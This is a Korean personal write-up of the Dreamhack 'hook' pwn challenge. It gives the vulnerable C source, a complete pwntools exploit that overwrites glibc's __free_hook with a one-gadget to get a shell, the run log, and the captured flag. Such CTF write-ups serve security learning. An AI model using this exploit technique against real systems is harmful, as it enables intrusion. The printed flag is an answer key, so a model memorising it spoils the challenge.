← 전체 Write-Up

Pwn / Dreamhack

hook

Dreamhack 문제의 풀이와 실습 과정을 원문 그대로 담은 개인 기록입니다.

읽기 안내

Dreamhack의 개인 문제 풀이 기록입니다. 원문에 남아 있는 실습 주소·플래그와 실패·미완료 결과를 그대로 보존했습니다.

환경

$ checksec hook
[*] '/home/ubuntu/h4c/ubuntu/hook'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
  • 64bit
  • Full RELRO
  • Canary On
  • NX On

실습 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    long *ptr;
    size_t size;

    initialize();

    printf("stdout: %p\\n", stdout);

    printf("Size: ");
    scanf("%ld", &size);

    ptr = malloc(size);

    printf("Data: ");
    read(0, ptr, size);

    *(long *)*ptr = *(ptr+1);

    free(ptr);
    free(ptr);

    system("/bin/sh");
    return 0;
}
  • printf("stsdout: %p \n", stdout) 에서 stdout을 이용해 base의 주소를 구할 수 있다.

익스플로잇 코드

from pwn import *

p = remote('host3.dreamhack.games', 22231)
e = ELF("./hook")
libc = ELF('./libc-2.23.so')

# receive stdout's address
p.recvuntil("stdout: ")
stdout_address =int(p.recvline()[:-1],16)
print("stdout:",hex(stdout_address))

# stdout's offset = 0x3c5708
libc_base = stdout_address - libc.symbols["_IO_2_1_stdout_"]
print("libc_base:",hex(libc_base))

# __free_hook's offset = 0x3c3ef8
free_hook = libc_base + libc.symbols["__free_hook"]
print("__free_hook:",hex(free_hook))

one_shot_offset = [0x45226,0x4527a,0xf03a4,0xf1247]
one_shot = libc_base + one_shot_offset[1]
print("one_shot:",hex(one_shot))

payload = p64(free_hook)
payload += p64(one_shot)

p.recvuntil("Size: ")
p.sendline('1000')

p.recvuntil("Data: ")
p.sendline(payload)

p.interactive()

결과

$ python3 hook2.py
[+] Opening connection to host3.dreamhack.games on port 22231: Done
[*] '/home/ubuntu/h4c/ubuntu/hook'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/ubuntu/h4c/ubuntu/libc-2.23.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
/home/ubuntu/h4c/ubuntu/hook2.py:8: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See <https://docs.pwntools.com/#bytes>
  p.recvuntil("stdout: ")
stdout: 0x7f03ad6bb620
libc_base: 0x7f03ad2f6000
__free_hook: 0x7f03ad6bc7a8
one_shot: 0x7f03ad33b27a
/home/ubuntu/h4c/ubuntu/hook2.py:27: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See <https://docs.pwntools.com/#bytes>
  p.recvuntil("Size: ")
/home/ubuntu/h4c/ubuntu/hook2.py:28: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See <https://docs.pwntools.com/#bytes>
  p.sendline('1000')
/home/ubuntu/h4c/ubuntu/hook2.py:30: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See <https://docs.pwntools.com/#bytes>
  p.recvuntil("Data: ")
[*] Switching to interactive mode
$ ls
flag
hook
$ cat flag
DH{c5e5c5c0a45d71d2666571ab2dc09cf4c4e750402ab4bb4c8a57091063ee7418}

작성 기록과 문제 출처

원문과 출처

풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.

원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.